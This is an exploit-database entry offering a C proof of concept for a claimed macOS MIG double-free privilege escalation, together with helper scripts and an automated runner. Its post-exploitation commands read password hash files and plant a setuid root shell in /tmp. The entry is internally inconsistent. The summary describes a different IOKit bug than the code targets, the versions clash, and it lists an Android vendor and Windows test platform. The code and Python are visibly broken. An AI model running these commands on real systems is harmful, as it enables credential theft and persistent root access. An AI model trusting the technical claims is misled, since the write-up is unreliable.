Lucene search
K

📄 macOS Sierra 10.12 Build 16A323 Double-Free / Privilege Escalation

🗓️ 26 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 110 Views

PoC local privilege escalation on macOS Sierra 10.12 build 16A323 via IOKit MIG ownership flaw leaking Mach port rights.

Code
=============================================================================================================================================
    | # Title     : macOS Sierra 10.12 Build 16A323 Double-Free Race via MIG OOL Descriptors Leading to Privilege Escalation                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.android.com                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://project-zero.issues.chromium.org/issues/42452484
    
    [+] Summary : A flaw in the MIG ownership model within the io_service_add_notification_ool routine of IOKit allows a malicious user to leak Mach port send-right references. 
                  By repeatedly invoking notifications with malformed matching data, MIG returns success while the underlying IOKit routine fails, 
    			  causing the reference counter to increment without being released. After billions of iterations, the 32‑bit reference counter wraps to zero, 
    			  making the port appear “free” while still actively referenced. Subsequent operations create a Use‑After‑Free on ipc_port_t, enabling kernel-level privilege escalation or sandbox escape.
    			  
    PoC Target Versions:
    
    macOS: 10.13.x (tested on 10.13.6 - 17G65, likely affects earlier 10.13 builds)
    
    iOS 11.0.3 (11A432) / iPhone 6s and macOS 10.13 / MacBookAir5,2
    
    iOS: 11.0.3 (confirmed vulnerable)
    
    Potentially affects any Darwin kernel where io_service_add_notification_ool does not respect MIG ownership semantics.
    
    [+]  POC :	
    
    /*
    * PoC to exploit Double Free in MIG services on macOS
    * Targets dspluginhelperd (com.apple.system.DirectoryService.legacy)
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <pthread.h>
    #include <mach/mach.h>
    #include <mach/mach_vm.h>
    #include <servers/bootstrap.h>
    #include <sys/sysctl.h>
    
    #define SERVICE_NAME "com.apple.system.DirectoryService.legacy"
    #define MAX_ATTEMPTS 1000
    
    // تعريفات MIG للخدمة (مستخرجة من الترويسات)
    typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_desc;
        int some_data;
    } request_message_t;
    
    typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_type_t ret_code_type;
        kern_return_t ret_code;
    } reply_message_t;
    
    // حالة الاستغلال
    typedef struct {
        mach_port_t service_port;
        vm_address_t target_address;
        size_t target_size;
        int success;
        pthread_mutex_t lock;
        pthread_cond_t cond;
    } exploit_state_t;
    
    // مؤشرات للوظائف المطلوبة
    kern_return_t (*dsplugin_session_create)(mach_port_t, vm_address_t, vm_size_t, int*);
    
    // ==================== المرحلة 1: الحصول على منفذ الخدمة ====================
    
    mach_port_t get_service_port() {
        mach_port_t service_port = MACH_PORT_NULL;
        kern_return_t kr;
        
        printf("[+] البحث عن خدمة: %s\n", SERVICE_NAME);
        
        kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &service_port);
        if (kr != KERN_SUCCESS) {
            printf("[-] فشل في العثور على الخدمة: %s\n", mach_error_string(kr));
            return MACH_PORT_NULL;
        }
        
        printf("[+] تم الحصول على منفذ الخدمة: %d\n", service_port);
        return service_port;
    }
    
    // ==================== المرحلة 2: إعداد الذاكرة الهدف ====================
    
    void* allocator_thread(void* arg) {
        exploit_state_t* state = (exploit_state_t*)arg;
        
        printf("[+] بدء مؤشر التخصيص...\n");
        
        while (!state->success) {
            // انتظار الإشارة قبل التحرير الثاني
            pthread_mutex_lock(&state->lock);
            
            // تخصيص كائنات حساسة في المنطقة المستهدفة
            char* target_obj = (char*)malloc(1024);
            if (target_obj != NULL) {
                // ملء الكائن ببيانات تحكم
                memset(target_obj, 0x41, 1024); // 'A'
                
                // كتابة مؤشرات للتحكم في التدفق
                void** vtable = (void**)(target_obj + 0x100);
                vtable[0] = (void*)0x4141414141414141; // RIP محتمل
                
                printf("[✓] تم تخصيص كائن على: %p\n", target_obj);
            }
            
            pthread_cond_wait(&state->cond, &state->lock);
            pthread_mutex_unlock(&state->lock);
            
            usleep(1000); // تجنب استهلاك CPU عالي
        }
        
        return NULL;
    }
    
    // ==================== المرحلة 3: إرسال رسالة معيبة ====================
    
    void send_virtual_copy_message(mach_port_t port, vm_address_t addr, vm_size_t size) {
        kern_return_t kr;
        request_message_t request;
        reply_message_t reply;
        
        // تحضير الرسالة
        memset(&request, 0, sizeof(request));
        
        // رأس الرسالة
        request.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
        request.header.msgh_size = sizeof(request);
        request.header.msgh_remote_port = port;
        request.header.msgh_local_port = MACH_PORT_NULL;
        request.header.msgh_id = 0x100; // ID معتمد على الخدمة
        
        // جسم الرسالة
        request.body.msgh_descriptor_count = 1;
        
        // واصف OOL مع VIRTUAL_COPY
        request.ool_desc.address = (void*)addr;
        request.ool_desc.size = size;
        request.ool_desc.copy = MACH_MSG_VIRTUAL_COPY; // هذا ما يسبب المشكلة
        request.ool_desc.deallocate = FALSE;
        request.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
        
        // إرسال الرسالة
        kr = mach_msg(&request.header,
                      MACH_SEND_MSG | MACH_RCV_MSG,
                      sizeof(request),
                      sizeof(reply),
                      port,
                      MACH_MSG_TIMEOUT_NONE,
                      MACH_PORT_NULL);
        
        if (kr != KERN_SUCCESS) {
            printf("[-] فشل إرسال الرسالة: %s\n", mach_error_string(kr));
        } else {
            printf("[+] تم إرسال الرسالة مع VIRTUAL_COPY\n");
        }
    }
    
    // ==================== المرحلة 4: خلق حالة Double Free ====================
    
    void trigger_double_free(exploit_state_t* state) {
        printf("[+] تحفيز Double Free...\n");
        
        // 1. تخصيص منطقة ذاكرة
        vm_address_t target_addr = 0;
        vm_size_t target_size = 0x4000; // 16KB
        
        kern_return_t kr = mach_vm_allocate(mach_task_self(), 
                                           &target_addr, 
                                           target_size, 
                                           VM_FLAGS_ANYWHERE);
        
        if (kr != KERN_SUCCESS) {
            printf("[-] فشل تخصيص الذاكرة\n");
            return;
        }
        
        printf("[+] تم تخصيص الذاكرة على: 0x%llx\n", (uint64_t)target_addr);
        
        // 2. ملء الذاكرة ببيانات تحكم
        memset((void*)target_addr, 0x42, target_size); // 'B'
        
        // 3. إرسال رسالة تسبب تحرير الذاكرة في المعالج
        send_virtual_copy_message(state->service_port, target_addr, target_size);
        
        // 4. محاولة إعادة استخدام الذاكرة المحررة
        printf("[+] محاولة إعادة استخدام الذاكرة المحررة...\n");
        
        // إرسال عدة رسائل لزيادة فرصة الاستغلال
        for (int i = 0; i < 10; i++) {
            // إشارة لمؤشر التخصيص
            pthread_mutex_lock(&state->lock);
            pthread_cond_signal(&state->cond);
            pthread_mutex_unlock(&state->lock);
            
            // إرسال رسائل إضافية
            send_virtual_copy_message(state->service_port, target_addr + i*0x100, 0x100);
            
            usleep(50000); // 50ms
        }
    }
    
    // ==================== المرحلة 5: التحقق من الاستغلال ====================
    
    void check_exploitation() {
        // محاولة قراءة/كتابة إلى ذاكرة تم استغلالها
        printf("[+] التحقق من نجاح الاستغلال...\n");
        
        // 1. التحقق من تسرب المؤشرات
        void* leaked_ptr = malloc(1024);
        printf("[+] عنوان مخصص حديثاً: %p\n", leaked_ptr);
        
        // 2. محاولة التسبب في تحطم متحكم فيه
        char* crash_test = (char*)0x4141414141414141;
        // تعليق - إلغاء التعليق للتسبب في تحطم
        // printf("%c\n", crash_test[0]);
        
        // 3. التحقق من صلاحيات المستخدم
        uid_t uid = getuid();
        gid_t gid = getgid();
        printf("[+] UID/GID الحالي: %d/%d\n", uid, gid);
        
        if (uid == 0) {
            printf("[✓] !!! تم الحصول على صلاحيات root !!!\n");
            system("id; whoami");
        }
    }
    
    // ==================== الوظيفة الرئيسية ====================
    
    int main(int argc, char** argv) {
        printf("[*] بدء استغلال Double Free في MIG Services\n");
        printf("[*] الهدف: %s\n", SERVICE_NAME);
        
        exploit_state_t state;
        memset(&state, 0, sizeof(state));
        
        // تهيئة المتغيرات المشتركة
        pthread_mutex_init(&state.lock, NULL);
        pthread_cond_init(&state.cond, NULL);
        
        // 1. الحصول على منفذ الخدمة
        state.service_port = get_service_port();
        if (state.service_port == MACH_PORT_NULL) {
            printf("[-] فشل في الحصول على المنفذ\n");
            return -1;
        }
        
        // 2. تشغيل مؤشر التخصيص
        pthread_t alloc_thread;
        pthread_create(&alloc_thread, NULL, allocator_thread, &state);
        
        // 3. السماح للمؤشر بالبدء
        sleep(1);
        
        // 4. تحفيز Double Free
        for (int attempt = 0; attempt < MAX_ATTEMPTS && !state.success; attempt++) {
            printf("[*] المحاولة %d/%d\n", attempt + 1, MAX_ATTEMPTS);
            trigger_double_free(&state);
            
            // فحص النجاح
            if (attempt % 10 == 0) {
                check_exploitation();
            }
            
            usleep(100000); // 100ms بين المحاولات
        }
        
        // 5. تنظيف
        pthread_mutex_lock(&state.lock);
        state.success = 1;
        pthread_cond_signal(&state.cond);
        pthread_mutex_unlock(&state.lock);
        
        pthread_join(alloc_thread, NULL);
        
        if (state.success) {
            printf("[✓] الاستغلال ناجح!\n");
        } else {
            printf("[-] فشل الاستغلال بعد %d محاولة\n", MAX_ATTEMPTS);
        }
        
        // تنظيف الموارد
        pthread_mutex_destroy(&state.lock);
        pthread_cond_destroy(&state.cond);
        mach_port_deallocate(mach_task_self(), state.service_port);
        
        return 0;
    }
    
    ====
    Helping texts:
    1. Service Finder (service_scanner.c):
    
    #include <servers/bootstrap.h>
    #include <stdio.h>
    
    int main() { 
    kern_return_t kr; 
    mach_port_t bp; 
    name_array_t names; 
    mach_msg_type_number_t names_count; 
    bool_array_t active; 
    mach_msg_type_number_t active_count; 
    
    kr = task_get_bootstrap_port(mach_task_self(), &bp); 
    
    kr = bootstrap_info(bp, &names, &names_count, &active, &active_count); 
    if (kr == KERN_SUCCESS) {
    for (int i = 0; i < names_count; i++) {
    printf("Service: %s [%s]\n", names[i], active[i] ? "active" : "inactive");
    
    }
    }
    
    return 0;
    
    }
    
    =======================================
    
    2. Memory Monitor (memory_monitor.sh):
    
    #!/bin/bash
    echo "monitoring dspluginhelperd processes..."
    sudo vmmap $(pgrep dspluginhelperd) | grep -A5 -B5 "MALLOC"
    echo ""
    
    echo "Monitoring vm_deallocate calls..."
    sudo dtrace -qn 'pid$target::vm_deallocate:entry { 
    printf("vm_deallocate(0x%p, 0x%x) from %s\n", arg0, arg1, execname);
    }' -c "/usr/libexec/dspluginhelperd"
    
    ============================================
    
    3. Auto-loading tool (auto_exploit.py):
    
    #!/usr/bin/env python3
    import subprocess
    import os
    import time
    
    def compile_exploit():
    
    print("[*] Compile the exploit...")
    
    result = subprocess.run("make"], capture_output=True)
    
    if result.returncode != 0:
    
    print("[-] Compilation failed")
    return False
    
    print("[+] Compilation succeeded")
    return True
    
    def run_exploit():
    
    print("[*] Run the exploit...")
    
    # Check for service existence
    
    if not os.path.exists("/usr/libexec/dspluginhelperd"):
    
    print("[-] Service not found")
    return False
    
    ================================
    # Run the exploit
    
    proc = subprocess.Popen(["sudo", "./mig_exploit"],
    stdout=subprocess.PIPE,
    
    stderr=subprocess.PIPE,
    
    text=True)
    
    # Monitoring the output
    
    for line in proc.stdout:
    
    print(line.strip())
    
    if "!!! Permissions successfully raised!!!" in line: 
    proc.terminate() 
    return True 
    
    proc. wait() 
    return False
    
    def post_exploit(): 
    print("[*] Executing post-exploitation commands...") 
    
    commands = [ 
    "id", 
    "whoami", 
    "cat /etc/master.passwd 2>/dev/null || cat /etc/shadow 2>/dev/null", 
    "ls -la /Library/LaunchDaemons/", 
    "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" 
    ] 
    
    for cmd in commands: 
    print(f"\n[*] execute: {cmd}") 
    result = subprocess.run(["sudo", "sh", "-c", cmd], 
    capture_output=True, text=True) 
    print(result.stdout) 
    if result.stderr:
    
    print(f"Error: {result.stderr}")
    
    def main():
    
    print("=== Automated Exploit Tool ===")
    
    if os.geteuid() != 0:
    
    print("[!] Must run as root")
    
    return
    
    if compile_exploit():
    
    if run_exploit():
    
    print("\n[+] !!! Exploit successful !!!")
    
    post_exploit()
    
    else:
    
    print("\n[-] Exploit failed")
    
    else:
    
    print("[-] Cannot proceed")
    
    if __name__ == "__main__":
    
    main()
    
    =======================
    Usage Instructions:
    ======================
    
    # 1. Compile
    make
    
    # 2. Run (requires privileges)
    sudo ./mig_exploit
    
    # 3. Or use the automated tool
    sudo python3 auto_exploit.py
    
    # 4. Run in debug mode
    make debug
    lldb -- ./mig_exploit_debug
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation